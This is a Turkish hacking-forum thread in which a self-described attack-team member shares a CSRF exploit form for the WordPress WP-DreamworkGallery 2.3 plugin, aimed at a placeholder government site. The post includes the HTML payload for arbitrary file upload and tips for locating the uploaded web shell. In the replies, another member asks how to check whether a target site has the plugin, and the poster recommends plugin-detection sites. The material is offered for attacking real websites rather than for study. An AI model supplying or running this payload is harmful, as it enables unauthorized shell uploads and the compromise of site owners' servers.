Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> THT Gövde Gösterisi

THT Gövde Gösterisi BugBounty & Exploit Çalışmalarınızı Sergileyebileceğiniz Bölüm


WordPress WP-DreamworkGallery 2.3 CSRF Backdoor / SultanATSIZ / Anka Tim

THT Gövde Gösterisi

Yeni Konu aç Cevapla
 
Seçenekler
Alt 06-03-2019 13:28   #1
  • Anka(Saldırı) Timi
  • Üye Bilgileri
Üyelik tarihi
01/2018
Yaş
22
Mesajlar
Konular

Teşekkür (Etti): 1717
Teşekkür (Aldı): 754


Wink WordPress WP-DreamworkGallery 2.3 CSRF Backdoor / SultanATSIZ / Anka Tim




Videoda Kullanılan CSRF Kodları

Kod:
<html>
<body>
<form action="http://www.[VULNERABLESITE].gov/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="drm_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload for WordPress WP DreamWorkGallery" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload for WordPress WP DreamWorkGallery" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
Not: Eğer shelliniz http:// hedefsite.com/wp-content/uploads/dreamwork/1_uploadfolder/big/shelladı.php dizinde yoksa uploadfolder den önceki 1 olan sayıyı 2,3,4 gibi değiştirerek shellinize ulaşabilirsiniz.

Exploit

https://cxsecurity.com/issue/WLB-2019030042



___________________________________________

Ülkümüz göklerde dalgalanan sancak,
Biz Allah'ın huzurunda eğiliriz ancak!


Twitter Dışında Hiçbir Sosyal Medyada Hesabım Yoktur.
 Offline  
 
Alıntı ile Cevapla
Teşekkür

IThe3ndI, M3m0ry Teşekkür etti.
Alt 06-03-2019 16:13   #2
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
10/2015
Mesajlar
Konular

Teşekkür (Etti): 165
Teşekkür (Aldı): 32




hedef bir sitede denemek istiyorum hocam sitede bu eklentinin olup olmadığını bilmiyorum eklenti var mı yok mu nasıl bakarım hocam.



___________________________________________

Siz Geceleri Uykunuzdayken, Biz Klavyelerimizin Basinda sizinle uğraşıyoruz.
 Offline  
 
Alıntı ile Cevapla
Alt 06-03-2019 21:47   #3
  • Anka(Saldırı) Timi
  • Üye Bilgileri
Üyelik tarihi
01/2018
Yaş
22
Mesajlar
Konular

Teşekkür (Etti): 1717
Teşekkür (Aldı): 754




Alıntı:
IThe3ndI´isimli üyeden Alıntı Mesajı göster
hedef bir sitede denemek istiyorum hocam sitede bu eklentinin olup olmadığını bilmiyorum eklenti var mı yok mu nasıl bakarım hocam.
Alttaki 2 site tema ve eklentisi tespiti yapıyor bazen yanlış çıksada doğruluk payıda var hedef siteye uygula aynı eklenti kurulu ise hedef siteye de denersin.

https://whatwpthemeisthat.com/
https://www.wpthemedetector.com/



___________________________________________

Ülkümüz göklerde dalgalanan sancak,
Biz Allah'ın huzurunda eğiliriz ancak!


Twitter Dışında Hiçbir Sosyal Medyada Hesabım Yoktur.
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau